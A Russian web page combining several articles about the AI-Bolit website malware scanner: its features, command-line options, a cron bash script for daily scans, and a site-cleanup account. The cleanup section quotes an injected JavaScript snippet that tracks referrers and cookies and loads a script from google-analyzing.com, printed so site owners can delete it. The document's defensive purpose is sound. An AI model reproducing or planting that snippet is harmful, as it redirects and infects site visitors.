Настройка оборудования и программного обеспечения

Как работать со сканером AI-BOLIT из командной строки. AI-Bolit - эффективный сканер вирусов и другого вредоносного кода на хостинге Аи болит

Неприятные ситуации застают нас врасплох. Порой, некоторые пользователи устанавливают на свои сайты программное обеспечение, которое имеет уязвимости . Или же злоумышленники находят «дыры» в программном обеспечении, которое свободно распространяется. После обнаружения таких «дыр» хакеры начинают эксплуатировать аккаунт жертвы и внедрять на сайт вредный программный код, всяческие хакерские шеллы, бэкдоры, спам-рассыльщики и другие вредоносные скрипты.

Увы, некоторые пользователи вовремя не обновляют программное обеспечения на своих сайтах и становятся жертвами таких злоумышленников

Суть проблемы

Наше серверное программное обеспечение в большинстве случаев идентифицирует вредную нагрузку и автоматически ликвидирует «плохую» активность.

Что конкретно делает вредное программное обеспечение? Очень разные вещи: рассылает спам, участвует в атаках на другие ресурсы и прочее… Одним из ярких примеров таких вирусов является «MAYHEM - многоцелевой бот для *NIX-серверов». Об этом вирусе, например, очень популярно объясняют специалисты компании Яндекс в своем блоге или

Hostland постоянно радует своих клиентов новым инструментарием для борьбы с вирусами!

Мы представляем вам очень удобный и бесплатный инструмент для поиска вирусов, вредоносных и хакерских скриптов на вашем аккаунте, шеллов по сигнатурам и гибким паттернам, шеллов на основе несложной эвристики - все то, что обычные антивирусы и сканеры найти не могут.

Мы представляем своим пользователя «AI-Bolit » от компании «Ревизиум»

Возможности сканера AI-Bolit:

  • Поиск хакерских php и perl скриптов (шеллов, бэкдоров), вирусных вставок, дорвеев, спам-рассыльщиков, скриптов по продаже ссылок, скриптов клоакинга и других типов вредоносных скриптов. Поиск по шаблонам и регулярным выражениям, а также использование несложных эвристик для определения потенциально-вредоносного кода
  • Поиск скриптов с критическими уязвимостями (timthumb.php, uploadify, fckeditor, phpmyadmin, и других)
  • Поиск скриптов, которые не характерны для сайтов на php (.sh, .pl, .so и др)
  • Поиск сигнатур в зашифрованных, фрагментированных текстовых блоках и закодированных hex/oct/dec последовательностях
  • Поиск подозрительных файлов с конструкциями, которые применяются во вредоносных скриптах
  • Поиск скрытых ссылок в файлах
  • Поиск символических ссылок
  • Поиск кода поисковых и мобильных редиректов
  • Поиск подключений вида auto_prepend_file/auto_append_file, AddHandler
  • Поиск iframe вставок
  • Определение версии и типа cms
  • Поиск скрытых файлов
  • Поиск.php файлов с двойными расширениями, .php файлов, загруженных как GIF картинка
  • Поиск дорвеев и каталогов, содержащих подозрительно большое число php/html файлов
  • Поиск исполняемых двоичных файлов
  • Удобная фильтрация и сортировка списков файлов в отчете
  • Интерфейс на русском языке

Что еще важно знать?

Если на вашем аккаунте с помощью «AI-Bolit» было найдено зловредное программное обеспечение, то просто удалив эти файлы вы не решите проблемы уязвимости вашего сайта.

Вам необходимо выяснить, как хакер смог внедрить «плохой» скрипт к вам на сайт, найти «дыру» в своем программном обеспечении. Иногда для этого необходимо поменять пароли к FTP доступу, обновить «движок сайта», иногда необходимо изучить лог файлы сервера (если они выключены - включить их), иногда же нужно привлечь стороннего специалиста по безопасности.

А весь комплекс вышеуказанных мер будет наилучшим подспорьем в решении проблемы безопасности вашего сайта!

Невозможно гарантировать обнаружение всех вредоносных скриптов. Поэтому разработчик сканера и хостинг провайдер не несет ответственности за возможные последствия ложных срабатываний при работе сканера AI-Bolit или неоправданные ожидания пользователей относительно функциональности и возможностей.

Замечания и предложения по работе скрипта, а также не обнаруженные вредоносные скрипты вы можете присылать на [email protected].

Наибольший функционал доступен при запуске сканера AI-BOLIT в режиме командной строки. Это можно делать как под Windows/Unix/Mac OS X, так и непосредственно на хостинге, если у вас есть доступ по SSH и хостинг не сильно ограничивает потребляемые ресурсы процессора.

Обращаем внимание, что для запуска сканера требуется консольная версия PHP 7.1 и выше. Более ранние версии официально не поддерживаются. Проверьте текущую версию командой php -v

Справка по параметрам командной строки сканера AI-BOLIT

Показать помощь

php ai-bolit.php --help

php ai-bolit.php --skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov

Просканировать только определенные расширения

php ai-bolit.php --scan=php,php5,pht,phtml,pl,cgi,htaccess,suspected,tpl

Подготовить файл карантина для отправки специалистам по безопасности. Будет создан архив AI-QUARANTINE-XXXX.zip с паролем.

php ai-bolit.php --quarantine

Запустить сканер в режиме "параноидальный" (рекомендуется для получения максимально-детализированного отчета)

php ai-bolit.php --mode=2

php ai-bolit.php --mode=1

Проверить один файл "pms.db" на вредоносный код

php ai-bolit.php -jpms.db

Запустить сканер с размером памяти 512Mb

php ai-bolit.php --memory=512M

Установить максимальный размер проверяемого файла 900Kb

php ai-bolit.php --size=900K

Делать паузу 500ms между файлами при сканировании (для снижения нагрузки)

php ai-bolit.php --delay=500

Отправить отчет о сканировании на email [email protected]

php ai-bolit.php [email protected]

Создать отчет в файле /home/scanned/report_site1.html

php ai-bolit.php --report=/home/scanned/report_site1.html

Просканировать директорию /home/s/site1/public_html/ (отчет по-умолчанию будет создан в ней же, если не задана опция --report=файл_отчета)

php ai-bolit.php --path=/home/s/site1/public_html/

Выполнить команду по завершении сканирования.

php ai-bolit.php --cmd="~/postprocess.sh"

Получить отчет в текстовом виде (plain-text) с именем site1.txt

php ai-bolit.php -lsite1.txt

Можно комбинировать вызовы, например,

php ai-bolit.php --size=300K --path=/home/s/site1/public_html/ --mode=2 --scan=php,phtml,pht,php5,pl,cgi,suspected

Комбинируя вызов сканера AI-BOLIT c другими командами unix, можно выполнять, например, пакетную проверку сайтов. Ниже приведем пример проверки нескольких сайтов, размещенных внутри аккаунта. Например, если сайты размещены внутри директории /var/www/user1/data/www, то команда на запуск сканера будет

find /var/www/user1/data/www -maxdepth 1 -type d -exec php ai-bolit.php --path={} --mode=2 \;

Добавив параметр --report можно управлять каталогом, в котором будут создаваться отчеты о сканировании.

php ai-bolit.php список параметров … --eng

Переключить интерфейс отчета на английский. Данный параметр должен идти последним.

Интеграция с другими сервисами и в панель хостинга

php ai-bolit.php --json_report=/path/file.json

Cформировать отчет в формате json

php ai-bolit.php --progress=/path/progress.json

Cохранять статус проверки в файл в формате json. Данный файл будет содержать структурированные данные в формате json: текущий файл проверки, сколько файлов проверено, сколько файлов осталось проверить, процент проверки, время до завершения сканирования. Данный механизм можно использовать, чтобы в панели показывать прогресс-бар и данные о проверяемых файлах. По завершении сканирования файл удаляется автоматически.

php ai-bolit.php --handler=/path/hander.php

Внешний обработчик событий. Вы можете добавить собственные обработчики начала/завершения сканирования/прогресса сканирования/ошибки сканирования. Пример файла можно посмотреть в архиве сканера, в каталоге tools/handler.php. Например, по завершении сканирования можно что-то сделать с файлом отчета (отправить по почте, запаковать в архив и пр).

Наверное каждый кто создает сайты сталкивается с вирусняками и троянами на сайте. Первая проблема вовремя заметить проблему, до момента когда проекты схватят пессимизацию от поисковиков или посыпятся обузы хостеру (за ддос, спам).

Эта статья пишется по горячем следам, когда во время обычного бэкапа на машину под виндой исходников сайта ESET Smart Security вдруг начал ругаться на картинки, которые счел вирусняком. Оказалось что с помощью картинок на сайт был залит бэкдор FilesMan.

Дыра была в том, что скрипт позволявший загружать юзерам картинки на сайт проверял что загружается картинка лишь по расширению файла. Содержимое не проверялось совсем. Так делать не надо;) В итоге на сайт можно было загрузить любой php файл под видом картинки. Но речь не о дырках…

Речь о том что возникла задача ежедневной проверки все файлов сайта на вирусняки и трояны.

Проверка сайта на вирусы онлайн

Онлайн всякие проверки сайта на вирусы не подходят для этих целей от слова совсем. Онлайн сканеры ведут себя как робот поисковика, последовательно проходя все доступные страницы сайта. Переход на следующую страницу сайта происходит по ссылкам с других страниц сайта. Соотв. если злоумышленник залил вам бэкдор на сайт с помощью картинки и ссылки на эту картинку нигде на страницах сайта нет и дефейсить сайт не стал, также как вешать вирусняк на страницы, то онлайн проверка сайта на вирусы просто эту картинку не найдет и вируса не найдет.

Зачем, вы спросите, злоумышленнику так делать? Зачем заливать бэкдор и ничего не делать? Отвечу – для спама, для ддоса. Для другой вредоносной активности, которая никак не отражается на страницах сайта.

Одним словом онлайн проверка сайта на вирусы совершенно бесполезна для полного спокойствия.

Плагин для проверки WordPress сайта на вирусы и трояны

Для вордпресса есть отличный антивирусный плагин. Называется он . В моем случае он отлично находил картинки с FilesMan чистил сайт от вирусов. Но у него есть важный недостаток. Во время проверки он дает дикую нагрузку на сервер, потому что просто последовательно перебирает все файлы. Кроме того проверка из коробки делается только в ручную. Автоматизировать проверку сайта с плагином не возможно.

Ну и подхватить вирусняк можно и мимо вордпресса, нужно что-то универсальное.

Проверка содержимого сайта обычным антивирусом

Как и было сказано выше проблемы и были обнаружены совершенно случайно обычным десктопным антивирусом во время бэкапа. Конечно можно каждый день скачивать весь сайт и проверять обычным антивирусом. Все это вполне работоспособно.

  • во-первых, хочется автоматизации. Чтобы проверка была в автоматическом режиме и по итогам был готовый отчет.
  • во-вторых, есть такие сайты, что выкачивать их каждый деть просто не реально,

Пробуем AI-Bolit

Что-то со вступлением я затянул. В итоге всех поисков нашелся прекрасный БЕСПЛАТНЫЙ антивирус для сайта. . Этот антивирус подразумеваем разные схемы его использования. Я его использовал через ssh.

Можно ли его использовать на шаред хостинге – не разбирался, но думаю это возможно. AI-Bolit написан на php и у него есть возможность запуска из браузера. Поэтому чисто технически – наверное можно и на шареде.

Важно! Айболит не лечит сайт от вирусов – он их ТОЛЬКО НАХОДИТ и дает отчет какие файлы он считает опасными. А уж что с ними делать вы решаете сами. Поэтому просто тупо нажать на кнопку и вылечить сайт от троянов не получится.

Как пользоваться AI-Bolit на VDS с ssh

У айболита есть с инструкциями и мастер-классами по использованию этого антивируса. В общем случае последовательность простая:

  • качаем
  • распаковываем на сервер (я распаковывал в /root/ai)
  • далее из консоли ssh запускаем php /root/ai/ai-bolit/ai-bolit.php
  • проверка может занять часы, в зависимости от объема сайта
  • по итогам проверки будет сформирован файл отчета AI-BOLIT-REPORT-<дата>-<время>.html

В файле отчета будут видны проблемные файлы, если таковые найдутся.

Большая нагрузка на сервер

Главная проблема с которой сталкиваешься с при автоматической проверке сайта на вирусы – это нагрузка на сервер. Все антивирусы действуют одинаково, последовательно перебирая все доступные файлы. И айболит тут вроде бы не исключение. Он просто берет все файлы и последовательно их проверяет. Нагрузка подскакивает и это может длиться долго, что не приемлимо в продакшене.

Но у айболита есть чумовая возможность (при условии что у вас полноценный сервер или вдс с рут доступом). Сначала для айболита можно сформировать список файлов для проверки, а потом скормить этот список. Тогда айболит просто пробежится по этому списку.

Для формирования списка можно пользоваться любыми способами сервера. У меня получился вот такой баш скрипт:

# bash /root/ai/run.sh # https://revisium.com/kb/ai-bolit-console-faq.html DOMAIN="сайт" AI_PATH="/root/ai" NOW=$(date +"%F-%k-%M-%S") # можно сделать публичную папку под парольным доступом REPORT_PATH="$AI_PATH/reports/$DOMAIN-$NOW.html" SCAN_PATH="/home/azzrael/web/$DOMAIN/public_html/" SCAN_DAYS=90 #php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH # Скан только файлов измененных за Х дней # AI-BOLIT-DOUBLECHECK.php захардкодено автром айболита на --with-2check !!! find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -o -name "*.gif" -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" php "$AI_PATH/ai-bolit/ai-bolit.php" --mode=1 --report=$REPORT_PATH --with-2check #history -c

# bash /root/ai/run.sh

# https://revisium.com/kb/ai-bolit-console-faq.html

DOMAIN = "сайт"

AI_PATH = "/root/ai"

NOW = $ (date + "%F-%k-%M-%S" )

# можно сделать публичную папку под парольным доступом

REPORT_PATH = "$AI_PATH/reports/$DOMAIN-$NOW.html"

SCAN_PATH = "/home/azzrael/web/$DOMAIN/public_html/"

SCAN_DAYS = 90

#php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH

php "$AI_PATH/ai-bolit/ai-bolit.php" -- mode = 1 -- report = $REPORT_PATH -- with - 2check

#history -c

Здесь видно, что через команду find мы собираем все файлы созданные за последние SCAN_DAYS, сохраняем их в список AI-BOLIT-DOUBLECHECK.php (к сож. переименовать файл списка, на момент использования, было нельзя), затем скармливаем этот список айболиту. SCAN_DAYS может быть равным одному дню. Если поставить bash /root/ai/run.sh в ежедневный крон, то список файлов на проверку может быть не очень большим. Соотв. проверка займет не много времени и не будет сильно нагружать сервер.

AI-Bolit - эффективный сканер вирусов и другого вредоносного кода на хостинге

Нас часто спрашивают – в чем уникальность сканера AI-Bolit ? Чем он отличается от других аналогичных инструментов поиска вредносного кода, таких как maldet, clamav или даже десктопных антивирусов? Краткий ответ – он лучше детектирует вредоносный код, написанный на PHP и Perl. Почему? Ответ ниже.

С каждым днем вредоносный код (хакерские веб-шеллы, бэкдоры и т.п.) становятся более изощренными и сложными. Кроме обфускаций идентификаторов и шифрования кода

повсеместно начали использоваться неявные вызовы функций посредством методов с callable аргументами, handler"ов и косвенных вызовов функций.

Все меньше остается вредоносных скриптов с линейной структурой и фиксированными идентификаторами. Код стараются замаскировать и сделать как можно более изменчивым, “полиморфным”

или наоборот, сделать максимально простым и похожим на обычный скрипт.

Порой, анализируя вредоносный скрипт, невозможно выделить фиксированный фрагмент, по которому однозначно можно было бы идентифицировать “вредонос”. Очевидно, что подобный вредоносный код невозможно найти по простой базе сигнатур (антивирусной базе), которая используется в подавляющем большинстве веб-антивирусов и сканеров на хостинге. Для эффективного поиска современных “вредоносов” необходимо использовать более сложные методики определения вирусных паттернов, а в некоторых случаях - эвристику. Именно такой подход мы применяем в сканере вредоносного кода AI-BOLIT.
Использование большой базы постоянно совершенствующихся гибких паттернов на основе регулярных выражений, применение дополнительного эвристического анализа, выработанного на основе сканирования большого числа зараженных сайтов, позволило сделать сканер AI-Bolit самым эффективным и активно используемым инструментом администратора и веб-разработчика.

Широкую известность AI-Bolit получил также благодаря простому интерфейсу и возможности свободного использования в некоммерческих целях. Любой вебмастер может абсолютно бесплатно скачать AI-Bolit с официального сайта http://revisium.com/ai/ и проверить свой ресурс на наличие хакерские шеллов, бэкдоров, дорвеев, вирусов, спам-рассыльщиков, скрытых ссылок и других вредоносных фрагментов и вставок. Сканер также активно используется и коммерческими компаниями - веб-студиями, хостинг-компаниями и интернет-агентствами для проверки и лечения клиентских сайтов. Хостеры интегрируют AI-Bolit в панель управления, веб-разработчики используют его для поиска вредоносного кода и в собственных сервисах мониторинга сайтов.

Ниже приведем лишь небольшой список возможностей сканера Ai-Bolit:

  • запуск из консоли и браузера
  • три режима сканирования ("простой", "эксперт", "параноидальный")и два режима работы ("экспресс" и "полное сканирование")
  • поиск хакерских php и perl скриптов (шеллов, бэкдоров), вирусных вставок, дорвеев, спам-рассыльщиков, скриптов по продаже ссылок, скриптов клоакинга и других типов вредоносных скриптов. Поиск по шаблонам и регулярным выражениям, а также использование эвристик для определения потенциально-вредоносного кода
  • поиск сигнатур в зашифрованных, фрагментированных текстовых блоках и закодированных hex/oct/dec последовательностях
  • поиск подозрительных файлов с конструкциями, которые применяются во вредоносных скриптах
  • поиск скрытых ссылок в файлах
  • поиск символических ссылок
  • поиск кода поисковых и мобильных редиректов и многое другое.
Кстати, на Ai-Bolit получено авторское свидетельство в РосПатенте. А еще сканер активно освещается на сторонних сайтах, в профильных журналах, на конференциях и вебинарах.

Официальная страница скрипта

Сегодня ко мне обратились за помощью в очистки интернет магазина от вирусов. Неожиданно для одного из сотрудников пришёл отказ в рекламе Google Adwords. В письме указали, что в файле jquery.js прописан подозрительный код.

В первую очередь я с помощью браузера открыл путь к данном файлу, но антивирус Avast никак не среагировал на данный файл, хотя зрительно я уже видел вредоносный код. Затем я соединился по ftp с помощью FileZilla и попробовал открыть файл с помощью программы Notepad++ . И вот тут мой антивирус заблокировал доступ к данному файлу.

Чтобы почистить js файл от вируса, мне пришлось на 10 минут отключить AVAST, а затем удалить из файла вредоносные строчки.

Если вы столкнулись с подобной проблемой, удалите следующий код как показано на картинке, или вот эти строки.

Var r=document.referrer; var c=document.cookie; r1=0; if ((r.indexOf("yandex")>0) || (r.indexOf("google")>0) || (r.indexOf("rambler")>0) || (r.indexOf("mail")>0)) { document.cookie = "__ga1=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; } else {if (c.indexOf("__ga1")==-1){document.cookie = "__ga2=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}} if (((c.indexOf("__ga1")>-1) || (r1==1)) && (c.indexOf("__ga2")==-1)) {document.write(unescape("%3Cscript src="http://google-analyzing.com/urchin.js" type="text/javascript"%3E%3C/script%3E"));}

Бэкап сайта.

Далее соединяемся по ssh доступу, например с помощью утилиты putty и по возможности делаем архив сайта. Для этого достаточно в консоли воспользоваться следующим командой:

tar - cf backup .tar /home/логин/site/public_html


*/home/логин/site/public_html - полный путь до главной директории сайта

Бэкап сайта можно и не делать, но мало ли вы удалите что-то важное?

Теперь есть два варианта проверки сайта на вирусы

1. Проверка сайта с помощью php скрипта Ai-Bolit, который ищет различные вирусы а так же php shell.

2. Скачать весь сайт к себе на компьютер и прогнать антивирусом Avast, но первый вариант значительно лучше, удобней, и значительно качественней.

Очистка сайта на локальном компьютере

Сначала я воспользовался вторым способом, поэтому опишу именно его. После того как на компьютер были выкачены все файлы (или архив), а их немного не мало 25 000, я открыл Avast и указал папку с файлами сайта для их проверки на вредоносные скрипты.

После того как Avast выполнил проверку в папке с файлами веб-сайта были обнаружены два скриптовых вируса:

  • Php-Shell-Jv
  • Js-Redirector-Fc

Файл index.php состоял из следующего кода:

В файле javascript "ui.datepicker_old.js" был вредоносный код в самом низу содержания скрипта. Этот код необходимо удалить!

Очистка сайта от вирусов с помощью Ai-Bolit.

Ftp способ.

1. Загружаем архив со скриптом Айболит на локальный компьютер и распаковываем его.

2. Соединяемся по ftp с помощью клиента FileZilla

3. Распакованные файлы архива размещаем в главную директорию сайта /home/ваш сайт/public_html

4. Запускаем скрипт http://ваш домен/ai-bolit.php

5. Файл отчёта будет создан в главной директории с именем AI-BOLIT-REPORT.html

Если после запуска скрипта отображается чистый белый экран, значит версия php на сервере хостера не подходит для Айболита.

Внимание! Если необходимо проверить все сайты в директории, загружаем скрипт в папку /home/domains/ или /home/ , тогда Ai-Bolit рекурсивно пройдётся по всем папкам, и выдаст отчёт, но как мне кажется лучше проверять по одному домену.

Консольный вариант (SSH)

1. Запускаем программу Putty, или другую консольную программу.

2. Соединяемся с сервером по хосту и паролю.

3. Переходим в главную директорию сайта командой cd /home/ваш логин/ваш сайт/public_html/

4. Загружаем скрипт командой wget http://www..zip

5. Распаковываем zip архив командой unzip 20160904_112415ai-bolit.zip

6. Запускаем скрипт php ai-bolit.php

Для запуска в фоновом режиме используем команду: screen -d -m php ai-bolit.php

7. Ждём пока что скрипт выполнит проверку, и создаст отчёт вида "AI-BOLIT-REPORT.html " на сервере.

Так же обратите внимание, если на вашем сервере установлен php ниже 5.3, Айболит покажет ошибку и не запустит сканирование. В моём случае пришлось выкачивать сайт, и проверять его на своём сервере.

После того как на сервере будет создан файла отчёта, его можно скачать к себе на компьютер и посмотреть обычным браузером (Хром, Файерфокс, и т.д).

В первую очередь стоит обратить внимание на отчёт о "Вредоносных скриптах", ну а дальше либо аккуратно удалять эти файлы, либо чистить ручным способом, как это делаю я.

Понравилась статья? Поделитесь с друзьями!
Была ли эта статья полезной?
Да
Нет
Спасибо, за Ваш отзыв!
Что-то пошло не так и Ваш голос не был учтен.
Спасибо. Ваше сообщение отправлено
Нашли в тексте ошибку?
Выделите её, нажмите Ctrl + Enter и мы всё исправим!